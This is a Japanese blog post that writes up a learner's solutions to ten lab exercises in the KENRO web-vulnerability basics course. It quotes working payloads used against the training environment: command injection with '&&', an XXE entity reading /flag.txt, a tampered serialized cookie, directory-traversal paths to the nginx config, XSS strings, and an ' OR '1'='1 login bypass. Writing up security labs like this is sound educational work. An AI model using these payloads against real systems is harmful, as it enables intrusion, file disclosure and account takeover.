1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

KENRO Web脆弱性基礎編コース 【Writeup編】

Posted at

はじめに

セキュリティ学習のサービスを探していたところ、一部無料になった「KENRO」を見つけました。
そこで、このサービスで脆弱性の基礎を学びたいと思います。
引用:KENRO https://flatt.tech/kenro/

KENROとは

「KENRO」はWebエンジニアのセキュアコーディング習得を支援するSaaS型eラーニングサービスです。
「資料に目を通して三択問題のテストを受けるだけ」という一般的なeラーニングとは異なり、攻撃者が用いる手法を体験する「ハッキング演習」や、脆弱なソースコードを修正する「堅牢化演習」を通じて、より実践的なトレーニングを一元的に受講できます。
https://flatt.tech/kenro
image.png

Web脆弱性基礎編コース(トライアル版)

Web アプリケーションにまつわる基礎的な脆弱性を一通り学ぶことができるコースです。

ハッキング演習

Q1)基礎的な OS Command Injection 攻撃

演習環境には OS Command Injection 脆弱性が含まれています。
その脆弱性を利用し ls . コマンドを実行すると、flatt{...} 形式の文字列が見つかるはずです。

image.png
A1)
ping コマンドを実行できるアプリっぽい。他のコマンドも実行できる可能性がある。

入力欄にexample.comを指定すると、ping example.comの結果が返ってきた。
&&を使えば、他のコマンドとか使えそうだと予測。
入力欄にexample.com && ls .と入力。
フラッグを発見。
flatt{you_found_a_secret_url_with_os_command_injection}

Q2)XML External Entity 脆弱性を経由したファイルの読み出し

演習環境には XML External Entity 脆弱性が含まれています。
その脆弱性を利用し、サーバ中のファイル /flag.txt を読み出し、
その中に書かれた flatt{...} 形式の文字列を解答してください。

image.png
A2)
XML ドキュメントの中の <name> タグの中身を表示します。と記載されているので、
正常系のファイルをアップロードしてみます。
ソースコード-正常系

<?xml version="1.0" encoding="utf-8" ?>
<top>
<name>TEST</name>
</top>

image.png
<name>タグの中身が表示されました。では、次にアップロードするファイルを以下の様に改変します。

ソースコード-異常系

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE top [
 <!ENTITY trap SYSTEM "file:///flag.txt">
]>
<top><name>&trap;</name></top>

image.png
trapが呼び出されました。(これはSYSTEM "file:///flag.txtを呼び出す)
フラッグ発見。
flatt{arbitrary_file_read_by_xxe}

Q3)iframe の透明化

演習環境に書かれた指示に従って、透明化された iframe タグを探し、
flatt{演習環境中で透明化されている iframe タグの class 属性の値} を解答してください。
詳しい指示は演習環境を確認してください。

image.png
A3)
F12キーにより開発者ページを開きます。
<style>タグで囲まれている中身を確認します。
image.png

opacityプロパティを用いることで要素の透明度を指定できるので、次の箇所が怪しそうです。

 .sample-dgsgr4og {
    opacity: 0%;
  }

これに該当する<iframe>タグの箇所を確認します。
image.png
フラッグ発見
flatt{sample-dgsgr4og}

Q4)Insecure Deserialization 脆弱性によるロジックの破壊

演習環境は入力として文字列を与えると、Hello, (与えた文字列) を画面に表示してくれる Web アプリケーションです。
また、途中の入力値の検査により、admin という値は入力値として与えられないようになっています。
しかし、このアプリケーションには Insecure Deserialization 脆弱性があります。
そのため、直接 Cookie 中のキー instance の値を直接変更することで、本来禁止されている入力値も与えられるようになっています。
例えば、Cookie を直接以下の値に改ざんすることで、入力値 admin を検査を回避しつつアプリケーションに与えることができます。

O%3A6%3A%22Sample%22%3A1%3A%7Bs%3A12%3A%22%00Sample%00name%22%3Bs%3A5%3A%22admin%22%3B%7D

実際に上記の値に Cookie 中のキー instance の値を改ざんしてみてください。
うまくいくと画面に flatt{...} 形式の文字列が表示されますから、それを解答してください。

image.png

A4)
adminを指定すると、エラーになる。
image.png
そこで、Cookie のキー instance の値を書き換える。
フラッグを発見。
flatt{insecure_deserialization_induces_unexpected_vulnerabilities}

問題は解けたが、あんまり理解できてない。。。
シリアライズ・デシリアライズに関して、別途勉強する必要がありそうだ

Q5)基礎的なディレクトリトラバーサル攻撃

演習環境のサーバには /secret/flag1 という名前の、flatt{...} 形式のデータが書かれたファイルが存在します。
このファイルを、演習環境中に存在するディレクトリトラバーサル脆弱性を利用することで読み出し、ファイルの中身を解答してください。

image.png

A5)
閲覧したいファイルにはa.txt``b.txt``c.txtが格納されています。
その時のURLはhttps://basic-dirtrav-attack.flatt.training/?filename=a.txtです。
演習環境サーバには、/secret/flag1というファイルがあるらしいので上記のURLに対してDirectory Traversal 攻撃を実施します。

アクセスするURL
https://basic-dirtrav-attack.flatt.training/?filename=../../../../../secret/flag1

フラッグを発見。
flatt{directory_traversal_is_so_dangerous}

Q6)ディレクトリトラバーサルによるサーバ設定ファイルのリーク

演習環境のサーバは nginx を利用しており、その設定ファイルは /etc/nginx/conf.d/default.conf に格納されています。
このファイルを演習環境中に存在するディレクトリトラバーサル脆弱性を利用することで読み出すと、
開発者しか知らないはずの URL 定義が見つかるはずです。

image.png

A6)
Directory Traversal 攻撃によりディレクトリの情報を読み出せないか確認します。
アクセスするURL
https://basic-dirtrav-attack.flatt.training/?filename=../../../../../../etc/nginx/conf.d/default.conf

ファイルの中身の読み出しに成功しました。
image.png

コメントアウトされた箇所に次の文がありました。

# /secret_path_only_developer_can_know にアクセスすると答え(flatt{...} 形式のデータ)が得られます。
location = /secret_path_only_developer_can_know {
 default_type text/html;
 alias /secret/flag2_2a46993a50cbe5a6b14f76e5ac4d8514;
}

指示されたURLへアクセス。
https://basic-dirtrav-attack.flatt.training/secret_path_only_developer_can_know

フラッグを発見。
flatt{server_configurations_include_a_lot_of_useful_information}

Q7)Reflected XSS 脆弱性

この演習環境には Reflected XSS 脆弱性が存在しています。
そのReflected XSS脆弱性を利用して、このWebページ中に<script>alert(1)</script>を挿入してください。

image.png

A7)
<script>alert(1)</script>を挿入する。
image.png
フラッグを発見。
flatt{this_is_reflected_xss}

Q8)DOM-based XSS 脆弱性

この演習環境には DOM-based XSS 脆弱性が存在しています。
そのDOM-based XSS脆弱性を利用して、このWebページ中に<img src=x onerror=alert(1)>を挿入してください。

image.png
A8)
<img src=x onerror=alert(1)>を挿入する。
image.png
フラッグを発見。
flatt{dom_based_xss_is_different_from_other_types}

Q9) SQL Playground

演習環境には以下のようなテーブルが定義されています。このテーブルには flatt{...} という形式のデータが保存されています。
このデータを SELECT 文で取得し、flatt{...}という形式の文字列を解答してください。

CREATE TABLE `members` (`username` TEXT NOT NULL,`profile` TEXT NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=utf8;

image.png

A9)
分かっているのはテーブル名(profile)、カラム名(sernameprofile)。
この情報からDBに保存されているレコードを取得できるか実行。

select * from members;

実行結果
image.png

フラッグを発見。
flatt{just_a_select_query}

Q10)ログイン機能に存在する SQL Injection

演習環境はログイン機能を持った Web アプリケーションです。
SQL Injection 攻撃によりユーザー名 admin としてログインしてください。

image.png

A10)
問題文から、ユーザー名はadminである。パスワードは分からないのでSQLiができるか試してみる。
'をパスワード欄に入れるとエラーが出てきた。ここから、SQLiの可能性が浮上。
image.png

実行結果

pass ' OR '1' = '1

image.png
image.png
フラッグを発見
flatt{login_bypass_by_sql_injection}


Good luck

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?